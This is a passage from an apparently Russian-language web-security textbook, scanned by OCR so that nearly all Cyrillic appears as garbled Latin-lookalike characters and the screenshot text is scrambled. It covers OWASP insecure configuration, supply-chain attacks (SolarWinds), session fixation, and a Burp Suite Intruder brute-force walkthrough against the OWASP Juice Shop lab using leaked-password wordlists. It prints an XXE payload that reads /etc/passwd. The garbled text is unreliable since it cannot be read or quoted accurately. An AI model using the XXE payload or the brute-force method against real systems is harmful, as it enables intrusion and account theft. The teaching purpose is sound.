3BOJIIOT 3JI0YMBITIJIEHHUKAM TTOYYUTh TOCTYI K KOH(PUAEHITNATbHOI WH(OP-
MaIY WK YIIPABJIATH MPUIOKEHHEM (€3 TOJIKHBIX MTPUBIJIETUT.
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e HenpaBusbHoe ylpaBjeHue ceccusMu U uaeHtTudukaropamu ceccuit. Mosxxer
IIPUBECTU K TAKUM YS3BUMOCTAM, KaK (DUKCAIUS CecCUu WU ee IiepexBart, KoTo-
pbIe MTO3BOJIAIOT 3JI0YMBIIIJIEHHUKAM KPacTh JIaHHbIE TI0JIb30BaTes el UK MoJTy-
YaTb JIOCTYII K TPUIIOKEHUIO.

Hebe3onacHasi KOHUrypauus

He6esonacuas kondurypanus (Insecure Configuration) — Tum ysassumocTs Be6-
IPUJIOKEHUH, CBA3aHHbII ¢ HeIlPaBUJIbHOM MU HeOe30IacHON HACTPOMKOIL 1Ipu-
JIOKEHSI, cepBepa, Oa3bl JAHHBIX WK IPYTUX KOMIOHEHTOB HHGbpacTpyKTyphl. Bee
9TO MOJKET MPUBECTU K CO3[MAHUIO0 CUCTEMBI, KOTOPast Oy/IeT YCIIENIHO aTaKOBaHa
37I0yMBITIJIEHHUKAMU.

HeKOTOpI)Ie IIPUMEPDLI TOT'O, YTO MOJKET ITPUBECTHU K B3JIOMY CUCTEMBI:

e lcrnonb3oBanue CTaHAaPTHDBIX YUYETHBIX JJAHHBIX. MHuorue cucTeMbl 1 KOMITOHEH-
TBI TTOCTABJIAIOTCA C IMIPEAYCTAHOBJICHHBIMU YYETHBIMU JaHHBIMU a/IMUHUCTPA~
TOpa (I/IMH IIOJIb30BaTEJIA 1 HapOJIb). Ecom onu ne nsmenensl Ha 6e3onacHble
1 YHUKaJIbHbIC 3HAYCHU A, 3JIOYMbBIIIJICHHUKN MOT'YT ITOJIYYUTDb JOCTYII K CUCTEME
C IIpaBaM¥1 a/IMUHHUCTPAaTOpPA.

e OrTkJjioueHune WK HellpaBubHasd HACTPOiiKa MexaHu3MoB OesonacHoctu. He-
KOTOPbIE BasKHbIe MeXaHU3MbI GesonacHocT, Takue kak HTTPS, gaiiepso win
SeLinux, MOryT GbITh OTKJIIOUEHBI MJIU HEPABUJIBHO HACTPOEHBI, 4TO MPUBO-
muT K yazsumoctsiM. Hanpumep, ecoim HTTPS ne nactpoen nim ucrnosb3yercst
c1abpiii mudp, 310yMbIILIEHHUKA MOIYT [I€PEXBAThIBATh U M3MEHSITh JaHHbIE,
nepe/ilaBaeMble MeK/Ty MOJIb30BaTENIEM U CEPBEPOM.

e OTKpBITHIE TTIOPTHI U cJIyKObI. EC/in cepBep HACTPOEH TaKUM 0OPa3oM, U4To He-
HY’KHbIE OPThI U CJTY5KObI OCTAIOTCS OTKPBITBIMIE, 5TO MOKET CO3AaTh MOTEHIH-
aJIbHBIE TOUKU BXO/A JIJIs 3JI0YMbIIIEHHUKOB. Bee HeHy KHbIe CIIysKObI U IIOPThI
JIOJKHBI OBITh 3aKPBITBI UJIM OTPAHIMYEHBI IOCTYIIOM TOJBKO JIJIS aBTOPU30BAHHBIX
II0JIb30BaTeEJIeH.

OpnHNUM U3 caeCcTBUN HeGe30MMacHO KOH(DUTYpaIluu SBJISIETCS] BO3MOMKHOCTD IIPO-
Begenns XXE-araku. Ataka XML External Entity (XXE) csizana ¢ 06paboTKoi
XML-10KkyMeHTOB. 3/I0YMBIIIIJIEHHUK BHE/IPSIET BPEJAOHOCHDIE BHEIIHNE CYIIIHOCTH
XML (ccpLiku Ha BHENIHUE PECYPChl) B 1okyMeHT X ML, KoTopbiii o6pabaThiBaeTcs
ys3BUMbIM nTapcepoM XML Ha cTopone cepsepa nin kiauenTa. [leapio ataku XXE
SBJISETCST YTEHUE JIOKAJTBHBIX (haliJIoB HA cepBepe, BBITTOTHEHHUE 3aIPOCOB K BHY-
TPEHHUM CUCTEMaM WJIM BBITIOJIHEHNE Y aeHHbIX BbI30BOB Ko/ia (RCE).

Hwuxe npuBoguTest npumep takoro XM L-cdaitna:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
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B atom nipumepe 3moymbIiieHHUK co3aeT XM L-1okymMeHT ¢ onpesiesieHneM BHeTI -
Heil cyHIHOCTH (XXe), KOTopasl CChLIAeTCs Ha JIOKanbHbIi daili (/etc/passwd) Ha
cepsepe. Korza ysisBuMblil mapcep o6pabaTbiBaeT aTOT JOKYMEHT, OH 3arPysKaeT
U BO3BpalllaeT cojiepskumoe daiiya /etc/passwd, 4To MO3BOISAET 3JI0YMBIIIJICHHUKY
MOJIYYUTD JIOCTYII K 4YBCTBUTEIBHON MHGMOPMAIUN.

YA3BMMble U YCTapeBLUNE KOMMOHEHTHI

Tun aroii ysssumoctt OWASP (Vulnerable and Outdated Components) cesizan
C UCII0JIb30BAHKEM KOMIIOHEHTOB C M3BECTHBIMU YSI3BUMOCTSMU B BEG-IIPUIOKEHHSIX.
B coBpeMenHbIX BeO-TIPIIOKEHMSX YACTO HCIIOIb3YIOTCS CTOPOHHIE KOMIIOHEHTBL —
6nbAMOTEKY, TIATUHBL U (PPEHMBOPKH, KOTOPBIE MOTYT COAEPKATh YSI3BUMOCTH.
Ec/i 5T KOMIIOHEHTBI He OOHOBJIAIOTCS 10 ITOCIEAHUX Oe30I1aCHbIX BEPCUI, 3/10-
YMBIIILJIEHHUKI MOTYT HCIIOJIb30BATh X YS3BUMOCTH [JIsI aTAKM HA BeO-TIPUIIOKEHNE.

XoTenoch ObI IOCOBETOBATD JA€PpKaTb PYKY Ha ITyJibCE U BCEr/ia OOHOBJIATH CBOU
CHUCTEMDbI, OJHAKO HE CTOUT 3a0BIBATH O CBA3AHHBIX C 9TUM puUCKax. O[[I/IH n3 HuX —
aTaKa Ha IEIIOYKY ITOCTaBOK.

Araka Ha 1errouky moctaBok (Supply Chain Attack) — Buj ataku, B pesyJbrare
KOTOPOH 3II0YMBITIITEHHIK KOMIIPOMETHPYET CHCTEMY, B3JIAMBIBAs BMECTO TIEEBOT
OPTaHU3aIUK OTHOTO M3 TIOCTaBIINKOB, CBA3aHHBIX ¢ Hell. [[esTbio Takux atak SBseT-
¢l TIOJTyYeH e JIOCTYTIA K UyBCTBUTENbHOI MH(MOPMAIUH, UCTIOJHEHNE BPEJOHOCHOTO
KOJIa WJIU HapyIIeHUe JOBEPUST MEKILY OPTAaHU3AI[USIME U UX MTOCTABIIMKAMHU.

ATaky Ha 11eM0YKY II0CTABOK MOTYT TIPOSIBJIATHCS B Pa3/IUYHbIX (hopMax:

® 3JIOYMBIIJIEHHUKKY MOTYT BHEJIPUTH BPEJIOHOCHBII KO/ B cToponHee [1O, koTopoe
3areM (HAMpUMeD, IPU OYePeTHOM OOHOBJICHUHN ) YCTaHABJINBAETCS HA CUCTEMBI
11eJIeBOY OPTaHW3aINy; B Pe3yJIbTaTe aTaky ol oIydyaeT BO3MOKHOCTh KOH-
TPOJMPOBATD 3apaskeHHbIe CUCTEMbI WJIM COOMPATh YYBCTBUTEIbHBIE IAHHbIE;

® XaKephl MOTYT aTaKOBaTh OOJAYHLIE CEPBUCHI, MCTOIb3yEMbIe OPraHM3aIel,
U TIOJTy4aTh JOCTYI K XPAHSAIIUMCS B 0OJIaKe JIAHHBIM VI MAHUITYJIUPOBATH 06~
JIAYHBIMU pecypcamy;

® aTakyloliue TakyKe MOTYT BHEJAPUTh BPEJOHOCHBIN KO/ UJIH arfiapaTHbIe «3a-
KJIaJIKU» B 000pyZ0BaHKe, KOTOPOE 3aTeM I0TIaaeT B 1eJIeBYIO OPraHU3aInIo.

O/uH 13 HelaBHUX W U3BECTHBIX TIPUMEPOB aTaKu Ha IEeNOYKY MOCTaBOK — Halla-
neHue Ha komnauuio SolarWinds B koHite 2020 rozga. B xo/1e aTol aTaku 3710y MBbIILI-
JIEHHUKU BHEAPUJIU BPEIOHOCHBIN KO/ B OOHOBJIEHUE IIPOrPAMMHOI0 00eCIIeueH sI
Orion, mpojyKTa /711 MOHUTOPWHTA U yripasiaeHust VI T-undpactpykTypoit, paspa-
6orannoro kommanuell SolarWinds.

ATakyrolie CMOTJIM 3apasyiTh MPOAYKT KOMIAHUU CKPBITOI Jiaseiikoii (6aKk10pom)
SUNBURST. 370 nMo3Boama0 MM TIOJYYUTh HECAHKITMOHUPOBAHHBIH IOCTYT K CETSIM
OpraHu3aIuil, KOTOPbIE UCIIOIb30BAH 3apaskeHHble Bepcuu Orion. Ataka 3aTpoHyJia
ThICsTur KneHToB SolarWinds, Brimouast kommanuu us crivcka Fortune 500 u gpyrue
OpTraHU3AINH 110 BCEMY MUDY.
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[Tocsre mosmyyennst gocTyna K CeTSIM 3JI0YMBIIIJIEHHUKN CMOTJIH TIePeMeniaThCs
BHYTPU HH(DPACTPYKTYPHI, COOUPATH KOHPUACHITMATBHYIO HH(MOPMAIHIO 1 OCYIIEeCT-
BJISTH ipyrue AeiictBus. Ataka Ha SolarWinds cranma oiHUM U3 caMbIX MaCIITAOHbBIX
U CEpPhE3HBIX HHITUIEHTOB B 06JaCTH KNOepOE30TIacHOCTH, WILTIOCTPUPYIONTUX PUCKH,
CBsI3aHHDBIE C aTaKaMU Ha I1EeMIOYKY ITOCTABOK.

C6on naeHTuduKaunm n ayTeHTUdUKauum

Iror tun yszsumocreit OWASP (Identification and Authentication Failures) cBsi-
3aH C HEPAaBWJIBHON MJIN HEHAJIESKHOU peasn3arell poIeccoB uaeHTU(hOUKAINN
U ayTeHTU(UKAIIK OJIb30BaTeIel B BeO-IPUIOKEHUAX. EC/IN 3/I0yMBIIITEHHUKY
MOTYT OGOUTH 9TH MEXaHU3MBbI, OHH TIOJYYAIOT JOCTYT K 4yBCTBUTETBHBIM TAHHBIM
U CUCTEMAaM, ITPeJHA3HAYEHHBIM TOJIBKO JIJIsT aBTOPU30BAHHBIX TTI0JTh30BATEIEN.

HO[[CTaHOBKa YUETHBIX JaHHbIX — BU/] aTaKH, BO BpEM:A KOTOpOﬁ 3JIOYMBITIIJIEHHU KN
NCIOJb3YIOT YKPa/IECHHbIC YUYE€THDIC TaHHDbIC (I/IMH II0JIb30BATEJIA U HapOJIb) JUIA 110~
TIBITOK BXO/la B aKKaYHTbI TTOJIb30BaTe el Ha Pa3JIMYIHBIX calTax u cepBHCaXx. Onn na-
XOAT 9TU JaHHbIE 6nar011ap51 yTeuKamM I/IH(bOpMaIII/II/I BCJICACTBUE B3JIOMa PAa3JIMYHbIX
MC. Atakn ocHOBaHBI Ha IIPEAIIOJIOKEHNN 3JIOYMbBITIJIEHHUKOB, YTO I1OJIb30BaTEJ/IN
YaCTO HUCIIOJIb3YIOT OJJHN 1 T€ K€ MMapoJin IJisI HECKOJIbKUX aKKaYHTOB M CEPBUCOB.
ATaKyIOH.II/Ie HCIIOJIb3YIOT aBTOMATU3MPOBAHHbBIE MHCTPYMEHTDBI 1 CKPHUIITBI IJIS
MaCCOBOTO BBO/Ia YUYETHDBIX JJaHHDBIX Ha PA3HBIX Be6-CaI>,ITaX, IIbITAACh HOIIO6paTb CO-
YeTaHre MMEHU TT0JIb30BaTEJIA 1 IMTaPOJId, KOTOPOe cpa60TaeT.

Araxu nepebopom (brute-force) — ato MmeTo B31oMa, Ipy KOTOPOM IIOCJIE0BATEIb-
HO 1IepeOUPAIOTCs BCE BO3MOKHBIE KOMOUHAIIY TTapoJieil u (MJIH ) JIOTHHOB, TIOKa He
HaiizieTcst BepHblit, TakoI THIT aTaK MOKET OBITh PECYPCOEMKIUM U 3aHUMATh MHOTO
BPEMEHM, HO B KOHEYHOM CYETE OH JIOBOJHHO YACTO OKA3BIBAETCS YCIEITHBIM, 0CO-
GEHHO TIPU UCTIOHL30BAHU TTOJTH30BATENISIMI CTAOBIX VJTH OOTIEM3BECTHBIX MApPOJIEi.

Vs3BuUMOCTD packpbiTust ueHTudukaropa ceccun (Session Identifier Exposure) Bos-
HUKAET, KOra nAeHTU(UKATOP CECCUU TIOIH30BATEI CIyYATHO UM HAMEPEHHO Pac-
KpbIBaeTCs TPeThbUM JuTaM. MeHTndukarop ceccum — aTo yHUKATbHOE 3HAUEHUE,
KOTOPOE cepBep UCTIOIb3YET /Il CBI3W MACHTUMUKAIMY KINEHTa W TTOJ/IePKaAHNS
COCTOSTHUSI CECCUU. ITO OCOOEHHO BAKHO 7151 BeO-TIPIIIOKEeH . Ecii 3710y MBbITIeH-
HUK [OJIYYUT JOCTYI K WACHTUPUKATOPY CECCUU, OH MOKET MCIIOIb30BATh €T0 IS
HOJIyYeHUsI I0CTYIIa K 4ysKoi ceccuu (session hijacking) v nepcoHaibHbIM JaHHBIM
MI0JIb30BATEJISI MJIN BBITIOJIHEHUST IEVICTBUI OT €ro UMEHN.

[Tpeamonokum, 4To ecTh BeO-TpUIoKeHue, KoTopoe ncrnoabayer URL-ampeca Bua
http://example.com/dashboard?sessionid=1234567890abcdef 1151 oTCIEKMBAHMS 1OJIB-
30BaTeJIbCKUX ceccuil. B aTom ciyuae npenrudukarop ceccuu (sessionid) nepemaercst
B mapamerpe URL-azpeca. OObIYHO TaKue UAEHTH(MUKATOPHI XPAHATCS B cookie-
(baitrax, 0 KOTOPBIX PACCKA3bIBAJIOCH B HAUAJIE TJIABHI.
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Bosmosxubr cjaeaytomume HpO6JIeMbIZ

e URL-aapeca ¢ uieHTH(GUKATOPAMU CECCHI MOTYT OBITh COXPAHEHBI B UCTOPUU
Gpaysepa, Jor-(aiinax cepBepa Wi CTOPOHHUX CHCTEMAX, KOTOPBIE NMEIOT J10-
ctyn k URL-azpecam (cratnctuyeckne CUCTeMbl, CHCTEMBl aHAJUTHKU U T. [1.);

® €CJIM ITOJIB30BaTE/Ib ITOJICTIUTCA CCBLITKOM ¢ APpYyTUMHU JIIOAbMU, I/IlIGHTI/I(bI/IKaTOp
CeCCHUH TaKiKe 6leeT Tiepeiat, 9TO MOJKET MPUBECTU K HECAHKITMOHNUPOBAHHOMY
AOCTYIIY K CECCUM IT0JIb30BATEJIA;

® 3JIOYMBIIIJIEHHUKNW MOT'YT BOCIIOJIb30BAaTHCA YA3BUMOCTAMU HAa CTOPOHE KJIHMEHTa
WJI cepBepa VA IMoJydeHr A JOCTYIIa K I/II[eHTI/I(bI/IKaTOpaM CeCCrH U 11ocJjieyto-
IIETO UX UCIIOJb30BaHUA [JIA ITIOJyYeHUA JTOCTYIIa K aKKayHTaM I10JIb30BaTEIEN.

Crenytomas ys3sumoctb — ukcanust ceccun (Session Fixation) — ato Tum ataky,
IPU KOTOPOII 3JI0YMBIIILTIEHHUK (DUKCUPYET UAEHTH(PUKATOP CECCUU JKEPTBBI TI€PE]T
ee ayrenTudukanueii. [locse Toro Kak ;kepTBa BXOAUT B CHCTEMY, 3JI0YMBIIIJIEHHUK
UCIIOJIb3YET MPeABAPUTENbHO (DUKCUPOBAHHBIN UAEHTU(DUKATOP CECCUU [JIS TIOJTY-
YEHUSI IOCTYTIA K €€ aKKAYHTY. DTO BO3MOKHO, €CJIU BeO-TIPUIIOKEHNE HE U3MEHSIET
ueHTH(HUKATOP CECCUU TTOCTIe Ay TeHTU(MDUKAIIUY TT0Tb30BATEIS.

3BYYUT 3aIlyTAaHHO, TO3TOMY PACCMOTPUM KOHKPETHBIH ITPUMEP TI0 I1aram:

1) 3JI0YMBIIIEHHUK NOCEIAET BeO-TIPUIOKEHNE U OTydaeT HACHTUDUKATOP cec-
cun (sessionid=12345);

2) 3aTeM OH OTNpPABJISIET KEPTBE CCHUIKY Ha BeO-IPUIIOKEHMe, B KOTOPOH COo-
nepsxkutcsd pukcupoBaHHbll npeHTuduratop ceccun (http://example.com/
login?sessionid=12345);

3) KepTBa IIEPEXOUT 110 CCHIJIKE U BBOJMUT CBOM YUETHBIE IaHHbIE JIJI BXO/IA B CU-
cTeMy;

4) BeO-TIpUIIOKEHYE ayTEHTU(DUIIUPYET JKEPTBY, HO UAEHTU(DUKATOP CECCUU OCTa-
€TCA HEM3MEHHDBIM;

3) BJIOYMBIIUIEHHHUK TETeph MOXKET MCIIOJIb30BATh (GMKCUPOBAHHBII HIAEHTUHUKATOD
ceccun (sessionid=12345) s focTyma K aKKayHTY KEPTBBI.

[Moxpobuee pacecMoTpuM aTaky nepebopom. Yrobsl nomobpath maposb Kk OWASP
Juice Shop, uctionbayercst yrumta Burp Suit. OHa BXOAWT B cTaHAApPTHYIO COOPKY,
U ee BCeT/ia MOKHO HAlTH B O(DUIIMATBHBIX PETIO3UTOPHSIX.

Burp Suite — 5T0 MHCTPYMEHT JIJIst TECTUPOBAHUS HE30MACHOCTH BEO-TIPUIOKEHUT,
paspaborantbiii kommanueii PortSwigger. OH mMpoKo UCTIOIBb3YeTCst B HHYCTPUH
6e30TaCHOCTH ¥ ABJSAETCS OJHUM U3 OCHOBHBIX MHCTPYMEHTOB JIJIsl TIPOBEACHUS
TECTOB Ha MPOHUKHOBEHUE U ayAnTOB Oe3omacHocTu. Burp Suite, B otsimune ot ZAP,
ycranosien B Kali Linux 1mo yMoJi4aHuio U peaocTaBisieT psa QyHKIUN, KOTOpbIe
MOMOTAIOT CYIIECTBEHHO OOJIETYNTh JKU3HB CIIEIUATUCTAM 1O GE30MaCHOCTH.



232 naea 07 e ATaku Ha BEG-NpUNOXeEHUs

OcHoBHbIe KOMTIOHEHTHI Burp Suite:

e Proxy. [To3BoJsieT epexBaThIBaTh, IPOCMATPUBATH U MOU(PUIIUPOBATH Tpahuk
MeskIy OpaysepoM U BeO-IIPUIoKeHeM. ITO YIPOIIAET aHAJIU3 3allPOCOB U OT-
BETOB, a TaKKe MO3BOJISIET BHOCUTHh UBMEHEHUS B 3aIIPOCHI JIJIsI TECTUPOBAHUS
YSI3BUMOCTEH.

e Spider. ABToMaTuuecku 00XOAUT BeG-TIPUIOKEHIE, cOOUpas WHHOPMAIIUIO
0 ero CTPYKType U GYHKIMOHATBHOCTH. ITO MOMOTAeT UACHTU(DUINPOBAThH
KOHEUHBIE TOUKH, TAPAMETPBI U IPYTHE DJIEMEHTBI, KOTOPbIE MOTYT OBITh I1EJIbIO
JUUIST ATak.

® Scanner. ABTOMaTUUECKH CKaHUPYET BeO-TIPIJIOKEHNE HA HAJIITUIKE YSI3BUMOCTEH,
On uCIoJIb3YeT Psiji TECTOB JIJIsI IPOBEPKU HAJTUYUS TAKUX YSI3BUMOCTEN, KAk
SQL-unbexumn, XSS u T. 11.

e Intruder. ITpemocTaBisieT BOSMOKHOCTD HACTPONKH ¥ aBTOMATH3AIUHU aTaK Ha
BEO-TIPUITOKEH L. ITO TIOIE3HO JIJIST BBHITIOMHEHNsT TTepebopa TapoJiell, ataky Ha
JIOTUKY NPUJIOKCHUSA U MHOTUX JIPYTHX.

e Repeater. TTo3BoJisIeT HOBTOPATH 3alIPOCHI K BEO-TIPUIOKEHHIO C PA3IUUHBIMU
rmapameTpaMH, YTO YIIPOIIAeT IIPOIECC TECTUPOBAHUA U OTJIANKU.

e Sequencer. AHATM3UPYeET BBIOOPKY TOKEHOB HA HAJIMUKE YSI3BUMOCTU B T€HEPATO-
pe CITy4YaiiHBIX MOC/Ie/[oBaTeTbHOCTEH. MOKeT NCTTOIb30BAThC /IS TECTUPOBAHUS
TMOGBIX TOKEHOB, 3HAYEHIE KOTOPBIX TEOPETHIECKU HEBO3MOKHO MPECKA3ATD, —
tokeHoB ceanca, AHTu-CSRF (Cross-Site Request Forgery), c6poca mapoJis.

e Decoder. Kogupyer u nekogupyer ganmble, mpeodpasys pasanuibie (OopMaThL:
URL-konupoBanue, Base64 u 1. /1.

[ ] Comparer. CpaBHI/IBaeT JBa Ha60pa JaHHbBIX, BbIABJIAA PA3JIUINUSA MEKIY 3alIpO-
CaMM 1M OTBETaMM.

Burp Suite gocryten B aByx Bepcusix: 6eciitatioil (Community Edition) u maTroit
(Professional Edition).

Ternepb, KOT/Ia y HAC €CTh HYKHBI HHCTPYMEHTAPHIT U 1[eJIEBOU CAIAT, TOIPOOyeM
noz00paTh JIOTHH U IapoJib, UCIIOAb3ys dhopMy ayrentudukamuu Juice Shop. dus
Hayaja BaM HeoOXoAuMOo BbiiiTu us ZAP, eciiu, KOHEYHO, OH y Bac 3amyliieH. Terepb
3anmyctuM Burp Suite. [lesio B Tom, uto ZAP 1 Burp ncnosib3yor ouH 1 TOT 5Ke TOpT
IUIST TIPOKCH-cepBepa. KoHeuno, ero MOKHO MTOMEHSITh — BBIOOP OCTAETCS 32 BAMH,
ABTOP He HACTAMBAET HA YETKOM CJICIOBAHUU TIPUBEJIEHHBIM 371€Ch IPUMEPaM U Jlake
IIPUBETCTBYET OTCTYIJIEHUS OT HUX.

ITpeaooKM, 4To HaCTPOIKU Opaysepa y Bac COXPAHUINCH; ECJIU HET, TO CKOH-
(urypupyiite ero aasa ncnospzoBanusd mpokcu-cepsepa Ha moprte 8080. /lanee
HaM HEOOXOAMMO TOJATOTOBUTH CIIUCOK C UMEHAMU MOJIb30BaTeIel 1 CIUCOK
napoJieit.

CyH_IECTByeT MHOKECTBO CITICKOB ¢ UMEeHAMM TI0JIb30BaTe el 1 MapoJIAMH, KOTOPbIE
YaCTO UCIIOJIb3YIOTCA B T€CTaX Ha IIPOHUKHOBEHWE U TIPU BBIITOJTHEHUHN aTakK Iepe-
60pOM. Bor neckxosbko Haubosee ITOITYJIAPHBIX CITUCKOB!
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e Rockyou.txt. Comepkut 0K0JI0 14 MJIH TTapoJieil, KOTopbie OB YKPaJeHbI BO
BpeMsI B3jioMa coruasibHoii cetn RockYou 8 2009 roay. OH IIPOKO UCIIOJIB3YETCST
M3-32 CBOET0 pa3Mepa U 13-3a TOTO, YTO B HEM ITPeICTABJIEHbI TIAPOJIH, IPIMEHSI-
eMble pealbHBIMU MTOJIb30BATEIISMU.

o SeclLists. ITo HAGOP PA3IMUHBIX CMTUCKOB, BRIOYAST NMEHA TTOIb30BATENeH, Tapo-
s, URL-anpeca, omubouHbIe BBOIBI I MHOTOE IPYTOE. ITH CITICKHU MCTTOTb3YI0T-
CsI J71sT TeCTUPOBaHus Ge301aCHOCTH, aTak 11epebopoM 1 IPYTHX 1eseil. SecLists
nocrynubl Ha GitHub https://github.com/danielmiessler/SecLists.

e John the Ripper Wordlists: John the Ripper. ITonyasipablit HHCTPYMEHT JJIsT
BOCCTAHOBJICHUS MAPOJIEH, PazpabOTUUKK MTPEAOCTABISIOT CBOU COOCTBEHHbIE
CIIMCKY TTapoJiell 1 MEeH MoJIb30BaTesell. ITH CIMCKUA MOKHO HAHUTHU B KaTajsore
wordlists ycTaHOBIEHHOTO MHCTPYMEHTa W Ha oUInaIbHOM caiite https://www.
openwall.com/john/.

e CrackStation. CrackStation mpegocTaBJisier CIIMCOK HapoJiell, CoaepKalluiil OKOJI0
1,5 MJIDJ 3an1/1ce171, TIOTYY€HHDBIX TIPpU PAa3JIMIHBIX yTe€dKaxX TaHHbIX. OH AOCTYIIEH
I 3arpy3Ku ¢ ouImasbHOTO caiiTa https://crackstation.net/buy-crackstation-
wordlist-password-cracking-dictionary.htm.

e Common Usernames. [[sist mepebopa MMEH TI0JIb30BaTeNEil OOBITHO UCOJIB3Y-
I0TCsI CITMCKH, coJepkaliue obie nMeHa moJb3osatesneii (admin, root, user
u T. 1.). Bbr MokeTe HaliTy Takue criucku B Habope SecLists uin cosmaTh cBOi
COOCTBEHHBII CIIUCOK, OCHOBAHHBIN Ha MHMOPMAIUK O [IEJIEBOM MTPUIOKEHUN
WJIN CUCTEME.

O/1HAaKO yuTHTE, YTO TOTOBBIC CIIUCKU COJICPKAT OUeHb MHOTO 3amuceil. [Ipu ux mc-
MOJIb30BAHUK B PEATBHO JKU3HU Bac OBICTPO OOGHAPYsKAT U 3a0JIOKUPYIOT, CKOpee
BCETO, Ja’ke B aBTOMATUYECKOM pekuMe. Ilepebop HeOOXOANMO OCYIECTBAAT
MeJIJIEHHO, JIYYIlle BCEro UMest BXOJAHbIE JaHHble, HAalprMe]p JIOTHH. BbI ske XopoIno
IPOBEJIU PasBeKy Mepesl HarageHneM? MHOKeCTBO pas noaOupas mapoib K OJHOMY
U TOMY K€ aKKayHTY, HeOOXOAUMO IIOMHUTD O TOM, YTO CUCTEMA MOKET IIPOCTO 32010~
KUPOBATh JAHHBIN aKKAyHT MOCJIe, HAPUMED, TATOH MOTBITKY (e€CTTN 0HA, KOHEYHO,
MPaBUIBHO CKOH(PUTYPUPOBAHA).

[l janHoTrO IpUMepa MOJrOTOBJIEH CIIMCOK JIOTMHOB Users.txt, a CO3/JaHHOMY CITH-
CKY C IapOJIsSIMU TTPUCBOEHO TOBOpAIIlee Ha3BaHue pass.txt. B atux daiinax kaskaas
3aIUCh HAXOAUTCS Ha CBOEi cTpouke. /lasee Mbl Oy/leM HUCIOJB30BATh KMEHHO UX.

Wrak, mocsie 3amycka Burp mepeiizieM B HACTPOUKHU M BKIIOYUM MPOKCHU-CEPBEP
(Settings » Tools » Proxy) (puc. 7.14).

Teneps nonpobyem ayTeHTUOUIMPOBATHCS B HAllleM MarasuHe COKOB, UCIIOJIb3YsI
JIOTWH U TIapOJib, MOKHO Jaske HeBepHBINA. [loce aToro MbI cMOKeM OTCIeTUTh CO-
enuHeHUs B Burp, B aToM 1utate ol paboraet anamornuato ZAP. [ljist atoro nepeiiem
BO BKJIA/IKy Proxy u orkpoem HTTP History. Haxoaum Hanr POST, HaskumaeM mpaByio
KHOIIKY MBIIIU U BbiOrpaeM napamerp Send to Intruder. Tem caMbIM Mbl HHCTPYK-
TupyeM Burp ucrnosib3oBaTh faHHbIE U3 OTMEYCHHOTO 3a1TPOCa /ISl BBITTOJTHEHUS
nocJeayioiei ataku (puc. 7.15).
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Satinga [= 4
[Search p Teols » Promy Manage global seftings §
@D U (Fopa) T * (@ Prosy listeners Proeet aitiing

@ Burp Proxy Iz g HTTF from your browser. You will need 1o configuie your browser to use one ol the listeners.
~ Toals 5 5 prowy S
| Add || Running Intartace Iwisiia Rpchract Cartficatn LS Protocols.
[ Em || B 2700160 Per-host Delauit
[ Tonoms ]
Sequencer - Reoon ] »>
Burg's bvowser
3 Preet
Sassions
+ Hatweork Each i o i y negotiating TLS Yo can import o export
this, certficate lor use in ather tools o anather installation of Burp.
+ Usar mherlace
: | import £ export CA certricate || Aegenerate CA cerficate |
Extersions
() Request interception rules Project setting
I Corqurabon libary @ u ; . wawing and editing in roept lab.
[ totocnpt recpassts biased on v tollomeg subes
|__Add || Enabled  Operator  Neasch type Hglationshi Condition |
| Emt | [} il extenson Does not rmatch (otSrippi oSt caadissticos. |
1 O ™ Contains pasameters |
LRemow || 5 o WITP method  Does not match (getiposd] s
o )| O & (8 s in targat scope |
| Down | |
0 2 missing of Supsruous reew i d of rogy
8 Automasically updatn Contens-Longth header when the requess is edaed
v
Pwuc. 7.14. HacTtpoiikn npokcu B Burp
nmmncmmrumw.\u.nmnym o x
Hum Propet Feude fspsatr Window  Hep
Dashboaed  Taget  Frooy  bruder  Aepeater  Sequencer  Oeooder  Comparer  Logger  Exdensions  Leam @} Settings
Intarcopt HTTP hstory  WabSockets hisseey 1B} Prosey satings
Fiter: Hiting C55, ivsagee and geneesl binary content ]®
- Host Method wAL Paams Edied  Status  Length MIME type Extensen Title Comment | TLS P
1 rEpialndon GET  Imstiadminiappiication-contigurat 12011
P rEpilndon FOST  mstiusarioge v 11011
3 rEpilndzon GET  mstiusanwhoami 121011
4 repialnazon GET  mstiusenwhoami 121011
5 hEpialaz0n GET  mstiusenwhoami 121011
5 POST  imstisoriogn 7 P ——— 17011
T repdaldon GET  Jmstiusenwhoami itprifkal- A2 m RS Arag R ) 121811
B repialnazon POST  mstiuseriogn F Hadd b scope 121011
5 bepifalid2000 GET  festiusenwhoami Sean 21011
0 bepifali42000 GET  festiusenwhoami . o 21011
1 bepiali42000 POST  festiuseriogin + ol b nknstor el 127001
12 bl A2000 GET  Irestluserwhoami Send 10 Repeater Cul+R 27011
i nar P v Send th Sequancer | dnanas
Send to Comparer ==

Request Rpques? in bowsse :.“" L

Presty  Raw  Hex Engagement tools [Pro version only] ? 3t attrioutes. 2 w

1 POST frestiuserslogin MTTES1.1 Sheow new history window b

2 HMost: kald:4zeas Add comment 51 cnokies. 4 v

3 User-Agent: Mozillass.® [X11; Linue x86_64; rv:102.8) Gecko/20180101 Firefox/102.8 Highiight ol

4 Accept: applicationfjson, text/plain, *r* it hmadurs n -

5 Arcept-Language: en-Us,en:qed.5 Dl tem |

& Accept-Encoding: geip, deflate Cloar history

7 Content-Type: application/json Copy URL

& |Content-Length: 45 Copy an cul command

% Origin: http:/rhaliiszeoe Sare e

10 Connection: clase
11 Referer: hutpsf/kaliza2oeas Prroceyy history documentation
12 Cowkie: languaq, 1 b _ dismiss; t |
4 1R RTIY 1bLookn; ceaki st dismi
13
144
emai1®:"test legin®,
“panawerd® T test pass”
)
@B [¢][3] [Sewrch. | 0 matches

Puc. 7.15. POST-3anpoc € TI0rMHOM v naponem

Teneps BocmoJib3yemcst BTopbiM KoMioneHTam Burp — Intruder. Orkpoem

€ro

" TiepelizieM Ha BKJIAAKY Positions. MbI BumnMm Hat 3anpoc, a Burp aBromatndeckn
MIPOAHATU3UPOBAJ €r0 U OTMETHJI MeCTa, KOTOPbIE MOTYT ObITh UCIIOJIb30BAHbI JJIsI
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ataku (puc. 7.16). Ho MpI-TO mydiie 3HaeM, 4To HaM Hazlo0, — HaxkmeM KHotry Clear §,
1 9TO BEPHET BCe B CXOAHOE cocTosgHue. Harell 1eibio sBJsieTcs moa00p JIOTHHA 1 I1a-
POJIsL, ¥ IOATOMY MbI GyzieM paboTaTh TOJIBKO € ABYMS HOJISIMU, He TPOrasi OCTaJIbHbIE.
